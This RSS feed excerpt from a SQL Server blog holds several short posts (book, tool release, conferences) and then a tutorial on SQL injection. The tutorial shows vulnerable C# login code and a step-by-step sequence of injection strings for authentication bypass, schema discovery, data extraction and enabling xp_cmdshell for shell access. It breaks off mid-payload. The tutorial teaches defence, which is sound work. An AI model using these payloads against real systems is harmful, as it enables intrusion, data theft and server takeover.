&lt;p&gt;&lt;a title="SQL Server MVP Deep Dives 2" href="http://www.manning.com/delaney/"&gt;&lt;img width="300" height="300" title="MVPDeepDives2Small" style="border-width: 0px; padding-top: 0px; padding-right: 0px; padding-left: 0px; display: inline; background-image: none;" alt="MVPDeepDives2Small" border="0" src="http://weblogs.sqlteam.com/images/weblogs_sqlteam_com/mladenp/Windows-Live-Writer/MVP-DEEP-DIVES-2.-The-Awesome-Returns_F8CF/MVPDeepDives2Small_3.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The topics in 60 chapters are grouped in 5 groups: Architecture, Database Administration, Database Development, Performance Tuning and Optimization, Business Intelligence. They represent over 1000 years of daily experience in various areas of SQL Server. I have contributed chapter 28 in Database Development group titled &lt;strong&gt;Getting asynchronous with Service Broker&lt;/strong&gt;. In it I show you the Service Broker template you can use for secure communication between two or more SQL server instances for whatever purpose you may have. If you haven't heard of Service Broker it's a part of the database engine that enables you to do completely async operations in the database itself or between databases and instances.&lt;/p&gt;
&lt;p&gt;The official release of the book will be next week at &lt;a href="http://www.sqlpass.org/"&gt;&lt;strong&gt;PASS&lt;/strong&gt;&lt;/a&gt; where there will be 2 slots where most of the authors will be there signing the books you bring. This is also a great opportunity to meet everyone and ask about any problems you may have. So definitely come say hi.&lt;/p&gt;
&lt;p&gt;Again we decided on a charity that will be supported by this book. It's called &lt;a href="http://www.operationsmile.org"&gt;&lt;strong&gt;Operation Smile&lt;/strong&gt;&lt;/a&gt;. They provide free surgeries to repair cleft lip, cleft palate and other facial deformities for children around the globe. You can also help them by &lt;a href="https://secure.operationsmile.org/site/Donation2?df_id=10380&amp;amp;10380.donation=form1"&gt;&lt;strong&gt;donating&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You can preorder it on at &lt;a href="http://www.manning.com/delaney/"&gt;&lt;strong&gt;Manning Publications website&lt;/strong&gt;&lt;/a&gt; or on &lt;a href="http://www.amazon.com/SQL-Server-Deep-Dives-Vol/dp/1617290475"&gt;&lt;strong&gt;Amazon&lt;/strong&gt;&lt;/a&gt;. By having it you not only get to learn a lot, improve your skills and have fun but you also help a child have a normal life. If that's not a good cause then I don't know what it is.&lt;/p&gt;&lt;img src="http://weblogs.sqlteam.com/mladenp/aggbug/61362.aspx" width="1" height="1" /&gt;</description>
            <dc:creator>Mladen Prajdić</dc:creator>
            <guid isPermaLink="false">http://weblogs.sqlteam.com/mladenp/archive/2011/10/07/sql-server-mvp-deep-dives-2-the-awesome-returns.aspx</guid>
            <pubDate>Fri, 07 Oct 2011 17:26:08 GMT</pubDate>
            <comments>http://weblogs.sqlteam.com/mladenp/archive/2011/10/07/sql-server-mvp-deep-dives-2-the-awesome-returns.aspx#feedback</comments>
            <wfw:commentRss>http://weblogs.sqlteam.com/mladenp/comments/commentRss/61362.aspx</wfw:commentRss>
            <trackback:ping>http://weblogs.sqlteam.com/mladenp/services/trackbacks/61362.aspx</trackback:ping>
        <feedburner:origLink>http://weblogs.sqlteam.com/mladenp/archive/2011/10/07/sql-server-mvp-deep-dives-2-the-awesome-returns.aspx</feedburner:origLink></item>
        <item>
            <title>SSMS Tools Pack 2.0 is out! With huge productivity booster features that will blow your mind and ease your job even more.</title>
            <category>SSMS Tools Pack</category>
            <category>.Net</category>
            <category>SQL Server</category>
            <link>http://feedproxy.google.com/~r/mladenp/~3/PkujGJWDiu8/ssms-tools-pack-2-0-is-out-with-huge-productivity.aspx</link>
            <description>&lt;p&gt;What better way to end the summer and start those productive autumn days ahead than with a fresh new version of the SSMS Tools Pack.&lt;/p&gt;
&lt;p&gt;This is a big release with two new features that are huge productivity boosters.&lt;/p&gt;
&lt;p&gt;First new feature are &lt;strong&gt;&lt;font color="#c0504d"&gt;Tab Sessions&lt;/font&gt;&lt;/strong&gt;. Every SQL tab you open is saved every N (default 2) minutes and is stored in a session. This works similar to internet browser sessions. Once you reopen SSMS you can restores your last session with a click of a button. You even get every window connected to the server it was previously connected to. The Tab History Window looks like this:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://weblogs.sqlteam.com/images/weblogs_sqlteam_com/mladenp/Windows-Live-Writer/SSMS-Tools-Pack-2.0-is-out-With-huge-pr_C754/TSH_2.png"&gt;&lt;img width="918" height="298" title="TSH" style="border-width: 0px; padding-top: 0px; padding-right: 0px; padding-left: 0px; display: inline; background-image: none;" alt="TSH" border="0" src="http://weblogs.sqlteam.com/images/weblogs_sqlteam_com/mladenp/Windows-Live-Writer/SSMS-Tools-Pack-2.0-is-out-With-huge-pr_C754/TSH_thumb.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;The second feature is &lt;strong&gt;&lt;font color="#c0504d"&gt;Execution Plan Analyzer&lt;/font&gt;&lt;/strong&gt;. It is designed to quickly help you &lt;strong&gt;find costliest operators&lt;/strong&gt; by a number of properties. If that's not enough you can easily &lt;strong&gt;&lt;font color="#000000"&gt;search through the whole execution plan&lt;/font&gt; &lt;/strong&gt;for whatever you like.     &lt;br /&gt;
And to top it off you can &lt;strong&gt;auto analyze the execution plan&lt;/strong&gt;. The analysis reports various problems the execution plan has and suggests a most common solution. The ultimate purpose of the Execution Plan Analyzer is to make your troubleshooting quicker and easier. It uses a simple user interface that is easy to navigate and is built directly into the execution plan itself. The execution plan analyzer looks like this:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://weblogs.sqlteam.com/images/weblogs_sqlteam_com/mladenp/Windows-Live-Writer/SSMS-Tools-Pack-2.0-is-out-With-huge-pr_C754/SQLEPA_2.png"&gt;&lt;img width="591" height="463" title="SQLEPA" style="border-width: 0px; padding-top: 0px; padding-right: 0px; padding-left: 0px; display: inline; background-image: none;" alt="SQLEPA" border="0" src="http://weblogs.sqlteam.com/images/weblogs_sqlteam_com/mladenp/Windows-Live-Writer/SSMS-Tools-Pack-2.0-is-out-With-huge-pr_C754/SQLEPA_thumb.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;Smaller fixes include a completely redesigned SQL History Search window and various other bug fixes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;You can download the new version 2.0 at the &lt;a href="http://www.ssmstoolspack.com/Download"&gt;&lt;u&gt;Download page&lt;/u&gt;&lt;/a&gt;. &lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;For more detailed feature descriptions go to the main &lt;a href="http://www.ssmstoolspack.com/Features"&gt;&lt;u&gt;Features Page&lt;/u&gt;&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Enjoy it!&lt;/p&gt;&lt;img src="http://weblogs.sqlteam.com/mladenp/aggbug/61351.aspx" width="1" height="1" /&gt;</description>
            <dc:creator>Mladen Prajdić</dc:creator>
            <guid isPermaLink="false">http://weblogs.sqlteam.com/mladenp/archive/2011/09/21/ssms-tools-pack-2-0-is-out-with-huge-productivity.aspx</guid>
            <pubDate>Wed, 21 Sep 2011 16:24:40 GMT</pubDate>
            <comments>http://weblogs.sqlteam.com/mladenp/archive/2011/09/21/ssms-tools-pack-2-0-is-out-with-huge-productivity.aspx#feedback</comments>
            <slash:comments>5</slash:comments>
            <wfw:commentRss>http://weblogs.sqlteam.com/mladenp/comments/commentRss/61351.aspx</wfw:commentRss>
            <trackback:ping>http://weblogs.sqlteam.com/mladenp/services/trackbacks/61351.aspx</trackback:ping>
        <feedburner:origLink>http://weblogs.sqlteam.com/mladenp/archive/2011/09/21/ssms-tools-pack-2-0-is-out-with-huge-productivity.aspx</feedburner:origLink></item>
        <item>
            <title>Yep, I&amp;rsquo;m a SQL Server MVP for one more year</title>
            <category>SQL Server</category>
            <link>http://feedproxy.google.com/~r/mladenp/~3/E9zS-Y2pOuI/yep-irsquom-a-sql-server-mvp-for-one-more-year.aspx</link>
            <description>&lt;p&gt;My MVP rotation came up today and I'm happy to say that I've been renewed for one more year as a SQL Server MVP. Hm…. looks like I'll have to start blogging some more. :)&lt;/p&gt;&lt;img src="http://weblogs.sqlteam.com/mladenp/aggbug/61315.aspx" width="1" height="1" /&gt;</description>
            <dc:creator>Mladen Prajdić</dc:creator>
            <guid isPermaLink="false">http://weblogs.sqlteam.com/mladenp/archive/2011/07/01/yep-irsquom-a-sql-server-mvp-for-one-more-year.aspx</guid>
            <pubDate>Fri, 01 Jul 2011 16:06:04 GMT</pubDate>
            <comments>http://weblogs.sqlteam.com/mladenp/archive/2011/07/01/yep-irsquom-a-sql-server-mvp-for-one-more-year.aspx#feedback</comments>
            <slash:comments>3</slash:comments>
            <wfw:commentRss>http://weblogs.sqlteam.com/mladenp/comments/commentRss/61315.aspx</wfw:commentRss>
            <trackback:ping>http://weblogs.sqlteam.com/mladenp/services/trackbacks/61315.aspx</trackback:ping>
        <feedburner:origLink>http://weblogs.sqlteam.com/mladenp/archive/2011/07/01/yep-irsquom-a-sql-server-mvp-for-one-more-year.aspx</feedburner:origLink></item>
        <item>
            <title>Two free SQL Server events I'll be presenting at in UK. Come and say hi!</title>
            <category>.Net</category>
            <category>SQL Server</category>
            <link>http://feedproxy.google.com/~r/mladenp/~3/YqGxqXnRnz0/two-free-sql-server-events-ill-be-presenting-at-in.aspx</link>
            <description>&lt;p&gt;&lt;a href="http://www.sqlbits.com/"&gt;&lt;img style="DISPLAY: inline" title="SQLBitsLogo" alt="SQLBitsLogo" width="240" height="81" src="http://weblogs.sqlteam.com/images/weblogs_sqlteam_com/mladenp/Windows-Live-Writer/80677881d33a_BCDE/SQLBitsLogo_3.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.sqlbits.com/"&gt;&lt;strong&gt;&lt;font size="4"&gt;SQLBits&lt;/font&gt;&lt;/strong&gt;&lt;/a&gt;&lt;font size="4"&gt;: April 7th - April 9th 2011 in Brighton, UK&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;Free community event on Saturday (April 9th) with a paid conference day on Friday (April 8th) and a Pre Conference day full of day long seminars (April 7th). &lt;/p&gt;
&lt;p&gt;It'll be a huge event with over 800 attendees and over 20 MVPs. I'll be presenting on Saturday April 9th.&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;a href="http://sqlinthecity.red-gate.com/"&gt;&lt;img style="BACKGROUND-IMAGE: none; BORDER-RIGHT-WIDTH: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; DISPLAY: inline; BORDER-TOP-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; PADDING-TOP: 0px" title="SqlInTheCityLogo" border="0" alt="SqlInTheCityLogo" width="188" height="154" src="http://weblogs.sqlteam.com/images/weblogs_sqlteam_com/mladenp/Windows-Live-Writer/80677881d33a_BCDE/SqlInTheCityLogo_3.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://sqlinthecity.red-gate.com/"&gt;&lt;strong&gt;&lt;font size="4"&gt;SQL in the City&lt;/font&gt;&lt;/strong&gt;&lt;/a&gt;&lt;font size="4"&gt;: July 15th 2011 in London, UK&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;One day of free SQL Server training sponsored by Redgate. Other MVP's that'll be presenting there are Steve Jones (&lt;a href="http://www.sqlservercentral.com/"&gt;&lt;strong&gt;website&lt;/strong&gt;&lt;/a&gt;|&lt;a href="http://twitter.com/way0utwest"&gt;&lt;strong&gt;twitter&lt;/strong&gt;&lt;/a&gt;), Brad McGehee (&lt;a href="http://www.bradmcgehee.com/"&gt;&lt;strong&gt;blog&lt;/strong&gt;&lt;/a&gt;|&lt;a href="http://twitter.com/bradmcgehee"&gt;&lt;strong&gt;twitter&lt;/strong&gt;&lt;/a&gt;) and Grant Fritchey (&lt;a href="http://www.scarydba.com/"&gt;&lt;strong&gt;blog&lt;/strong&gt;&lt;/a&gt;|&lt;a href="http://twitter.com/gfritchey"&gt;&lt;strong&gt;twitter&lt;/strong&gt;&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;At both conferences I'll be presenting about database testing.&lt;/p&gt;
&lt;p&gt;In the sessions I'll cover a few things from my book &lt;a href="http://weblogs.sqlteam.com/mladenp/archive/2010/11/23/the-red-gate-guide-to-sql-server-team-based-development.aspx"&gt;&lt;strong&gt;The Red Gate Guide to SQL Server Team based Development&lt;/strong&gt; &lt;/a&gt;like what do we need for testing, how to go about it, what are some of the obstacles we have to overcome, etc…&lt;/p&gt;
&lt;p&gt;If you're around there come and say Hi!&lt;/p&gt;&lt;img src="http://weblogs.sqlteam.com/mladenp/aggbug/61287.aspx" width="1" height="1" /&gt;</description>
            <dc:creator>Mladen Prajdić</dc:creator>
            <guid isPermaLink="false">http://weblogs.sqlteam.com/mladenp/archive/2011/03/28/two-free-sql-server-events-ill-be-presenting-at-in.aspx</guid>
            <pubDate>Mon, 28 Mar 2011 05:40:00 GMT</pubDate>
            <comments>http://weblogs.sqlteam.com/mladenp/archive/2011/03/28/two-free-sql-server-events-ill-be-presenting-at-in.aspx#feedback</comments>
            <slash:comments>1</slash:comments>
            <wfw:commentRss>http://weblogs.sqlteam.com/mladenp/comments/commentRss/61287.aspx</wfw:commentRss>
            <trackback:ping>http://weblogs.sqlteam.com/mladenp/services/trackbacks/61287.aspx</trackback:ping>
        <feedburner:origLink>http://weblogs.sqlteam.com/mladenp/archive/2011/03/28/two-free-sql-server-events-ill-be-presenting-at-in.aspx</feedburner:origLink></item>
        <item>
            <title>SQL Server SQL Injection from start to end</title>
            <category>.Net</category>
            <category>SQL Server</category>
            <category>Back to Basics</category>
            <link>http://feedproxy.google.com/~r/mladenp/~3/J77ndS60WYU/sql-server-sql-injection-from-start-to-end.aspx</link>
            <description>&lt;p&gt;SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage.&lt;/p&gt;
&lt;p&gt;A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text.&lt;/p&gt;
&lt;p&gt;SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences.&lt;/p&gt;
&lt;p&gt;&lt;font color="#ff0000"&gt;The first line of defense is to never let your applications connect via an admin account like &lt;strong&gt;sa&lt;/strong&gt;&lt;/font&gt;. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user.&lt;/p&gt;
&lt;p&gt;Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1) Concatenating SQL statements on the client by hand&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2) Using parameterized stored procedures but passing in parts of SQL statements&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Concatenating SQL statements on the client&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL.&lt;/p&gt;
&lt;p&gt;In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens.&lt;/p&gt;
&lt;div id="codeSnippetWrapper"&gt;
&lt;pre id="codeSnippet" class="csharpcode"&gt;&lt;span class="rem"&gt;/* SQL CODE */&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;/* Users table holds usernames and passwords and is the object of out hacking attempt */&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;CREATE&lt;/span&gt; &lt;span class="kwrd"&gt;TABLE&lt;/span&gt; Users&lt;br /&gt;(&lt;br /&gt;    UserId &lt;span class="kwrd"&gt;INT&lt;/span&gt; &lt;span class="kwrd"&gt;IDENTITY&lt;/span&gt;(1, 1) &lt;span class="kwrd"&gt;PRIMARY&lt;/span&gt; &lt;span class="kwrd"&gt;KEY&lt;/span&gt; ,&lt;br /&gt;    UserName &lt;span class="kwrd"&gt;VARCHAR&lt;/span&gt;(50) ,&lt;br /&gt;    UserPassword NVARCHAR(10)&lt;br /&gt;)&lt;br /&gt;&lt;br /&gt;&lt;span class="rem"&gt;/* Insert 2 users */&lt;/span&gt;&lt;br /&gt;INSERT &lt;span class="kwrd"&gt;INTO&lt;/span&gt; Users(UserName, UserPassword)&lt;br /&gt;&lt;span class="kwrd"&gt;SELECT&lt;/span&gt; &lt;span class="str"&gt;'User 1'&lt;/span&gt;, &lt;span class="str"&gt;'MyPwd'&lt;/span&gt; &lt;span class="kwrd"&gt;UNION&lt;/span&gt; &lt;span class="kwrd"&gt;ALL&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;SELECT&lt;/span&gt; &lt;span class="str"&gt;'User 2'&lt;/span&gt;, &lt;span class="str"&gt;'BlaBla'&lt;/span&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;p&gt;Vulnerable C# code, followed by a progressive SQL injection attack.&lt;/p&gt;
&lt;div id="codeSnippetWrapper"&gt;
&lt;pre class="csharpcode"&gt;&lt;span class="rem"&gt;/* .NET C# CODE */&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;/*&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;This method checks if a user exists. &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;It uses SQL concatination on the client, &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;which is susceptible to SQL injection attacks&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;private&lt;/span&gt; &lt;span class="kwrd"&gt;bool&lt;/span&gt; DoesUserExist(&lt;span class="kwrd"&gt;string&lt;/span&gt; username, &lt;span class="kwrd"&gt;string&lt;/span&gt; password)&lt;br /&gt;{&lt;br /&gt;    &lt;span class="kwrd"&gt;using&lt;/span&gt; (SqlConnection conn = &lt;span class="kwrd"&gt;new&lt;/span&gt; SqlConnection(&lt;span class="str"&gt;@"server=YourServerName; database=tempdb; Integrated Security=SSPI;"&lt;/span&gt;))&lt;br /&gt;    {&lt;br /&gt;        &lt;span class="rem"&gt;/* &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;        This is the SQL string you usually see with &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;        novice developers. It returns a row if a &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;        user exists and no rows if it doesn't&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;        */&lt;/span&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;string&lt;/span&gt; sql = &lt;span class="str"&gt;"SELECT * FROM Users WHERE UserName = '"&lt;/span&gt; + username + &lt;br /&gt;                                     &lt;span class="str"&gt;"' AND UserPassword = '"&lt;/span&gt; + password + &lt;span class="str"&gt;"'"&lt;/span&gt;;&lt;br /&gt;        SqlCommand cmd = conn.CreateCommand();&lt;br /&gt;        cmd.CommandText = sql;&lt;br /&gt;        cmd.CommandType = CommandType.Text;&lt;br /&gt;        cmd.Connection.Open();&lt;br /&gt;        DataSet dsResult = &lt;span class="kwrd"&gt;new&lt;/span&gt; DataSet();&lt;br /&gt;        &lt;span class="rem"&gt;/*&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;        If a user doesn't exist the cmd.ExecuteScalar() &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;        returns null; this is just to simplify the &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;        example; you can use other Execute methods too&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;        */&lt;/span&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;string&lt;/span&gt; userExists = (cmd.ExecuteScalar() ?? &lt;span class="str"&gt;"0"&lt;/span&gt;).ToString();&lt;br /&gt;        &lt;span class="kwrd"&gt;return&lt;/span&gt; userExists != &lt;span class="str"&gt;"0"&lt;/span&gt;;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span class="rem"&gt;/*&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;The SQL injection attack example. &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;Username inputs should be run one after &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;the other, to demonstrate the attack pattern.&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;string&lt;/span&gt; username = &lt;span class="str"&gt;"User 1"&lt;/span&gt;;&lt;br /&gt;&lt;span class="kwrd"&gt;string&lt;/span&gt; password = &lt;span class="str"&gt;"MyPwd"&lt;/span&gt;;&lt;br /&gt;&lt;span class="rem"&gt;// See if we can even use SQL injection.&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// By simply using this we can log into the application &lt;/span&gt;&lt;br /&gt;username = &lt;span class="str"&gt;"' OR 1=1 --"&lt;/span&gt;;&lt;br /&gt;&lt;span class="rem"&gt;// What follows is a step-by-step guessing game designed &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// to find out column names used in the query, via the &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// error messages. By using GROUP BY we will get &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// the column names one by one.&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// First try the Id&lt;/span&gt;&lt;br /&gt;username = &lt;span class="str"&gt;"' GROUP BY Id HAVING 1=1--"&lt;/span&gt;;&lt;br /&gt;&lt;span class="rem"&gt;// We get the SQL error: Invalid column name 'Id'.&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// From that we know that there's no column named Id. &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// Next up is UserID&lt;/span&gt;&lt;br /&gt;username = &lt;span class="str"&gt;"' GROUP BY Users.UserId HAVING 1=1--"&lt;/span&gt;;&lt;br /&gt;&lt;span class="rem"&gt;// AHA! here we get the error: Column 'Users.UserName' is &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// invalid in the SELECT list because it is not contained &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// in either an aggregate function or the GROUP BY clause.&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// We have guessed correctly that there is a column called &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// UserId and the error message has kindly informed us of &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// a table called Users with a column called UserName&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// Now we add UserName to our GROUP BY&lt;/span&gt;&lt;br /&gt;username = &lt;span class="str"&gt;"' GROUP BY Users.UserId, Users.UserName HAVING 1=1--"&lt;/span&gt;;&lt;br /&gt;&lt;span class="rem"&gt;// We get the same error as before but with a new column &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// name, Users.UserPassword&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// Repeat this pattern till we have all column names that &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// are being return by the query.&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// Now we have to get the column data types. One non-string &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// data type is all we need to wreck havoc&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// This can be done because we know the number of columns the query returns FROM our previous hacks.&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.&lt;/span&gt;&lt;br /&gt;username = &lt;span class="str"&gt;"' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--"&lt;/span&gt;;&lt;br /&gt;&lt;span class="rem"&gt;// SUM() errors out for UserName and UserPassword columns giving us their data types:&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// Error: Operand data type varchar is invalid for SUM operator.&lt;/span&gt;&lt;br /&gt;username = &lt;span class="str"&gt;"' UNION SELECT SUM(Users.UserName) FROM Users--"&lt;/span&gt;;&lt;br /&gt;&lt;span class="rem"&gt;// Error: Operand data type nvarchar is invalid for SUM operator.&lt;/span&gt;&lt;br /&gt;username = &lt;span class="str"&gt;"' UNION SELECT SUM(Users.UserPassword) FROM Users--"&lt;/span&gt;;&lt;br /&gt;&lt;span class="rem"&gt;// Because we know the Users table structure we can insert our data into it&lt;/span&gt;&lt;br /&gt;username = &lt;span class="str"&gt;"'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --"&lt;/span&gt;;&lt;br /&gt;&lt;span class="rem"&gt;// Next let's get the actual data FROM the tables.&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// There are 2 ways you can do this.&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// The first is by using MIN on the varchar UserName column and &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// getting the data from error messages one by one like this:&lt;/span&gt;&lt;br /&gt;username = &lt;span class="str"&gt;"' UNION SELECT min(UserName), 0, 0 FROM Users --"&lt;/span&gt;;&lt;br /&gt;username = &lt;span class="str"&gt;"' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName &amp;gt; 'User 1'--"&lt;/span&gt;;&lt;br /&gt;&lt;span class="rem"&gt;// we can repeat this method until we get all data one by one&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// The second method gives us all data at once and we can use it as soon as we find a non string column&lt;/span&gt;&lt;br /&gt;username = &lt;span class="str"&gt;"' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --"&lt;/span&gt;;&lt;br /&gt;&lt;span class="rem"&gt;// The error we get is: &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// Conversion failed when converting the nvarchar value &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// '&amp;lt;row UserId="1" UserName="User 1" UserPassword="MyPwd"/&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;//  &amp;lt;row UserId="2" UserName="User 2" UserPassword="BlaBla"/&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;//  &amp;lt;row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/&amp;gt;' &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// to data type int.&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// We can see that the returned XML contains all table data including our injected user account.&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// By using the XML trick we can get any database or server info we wish as long as we have access&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// Some examples:&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// Get info for all databases&lt;/span&gt;&lt;br /&gt;username = &lt;span class="str"&gt;"' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --"&lt;/span&gt;;&lt;br /&gt;&lt;span class="rem"&gt;// Get info for all tables in master database&lt;/span&gt;&lt;br /&gt;username = &lt;span class="str"&gt;"' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --"&lt;/span&gt;;&lt;br /&gt;&lt;span class="rem"&gt;// If that's not enough here's a way the attacker can gain shell access to your underlying windows server&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// This can be done by enabling and using the xp_cmdshell stored procedure&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// Enable xp_cmdshell&lt;/span&gt;&lt;br /&gt;username = &lt;span class="str"&gt;"'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"&lt;/span&gt;;&lt;br /&gt;&lt;span class="rem"&gt;// Create a table to store the values returned by xp_cmdshell&lt;/span&gt;&lt;br /&gt;username = &lt;span class="str"&gt;"'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--"&lt;/span&gt;;&lt;br /&gt;&lt;span class="rem"&gt;// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table &lt;/span&gt;&lt;br /&gt;username = &lt;span class="str"&gt;"'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--"&lt;/span&gt;;&lt;br /&gt;&lt;span class="rem"&gt;// return the data via an error message&lt;/span&gt;&lt;br /&gt;username = &lt;span class="str"&gt;"' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 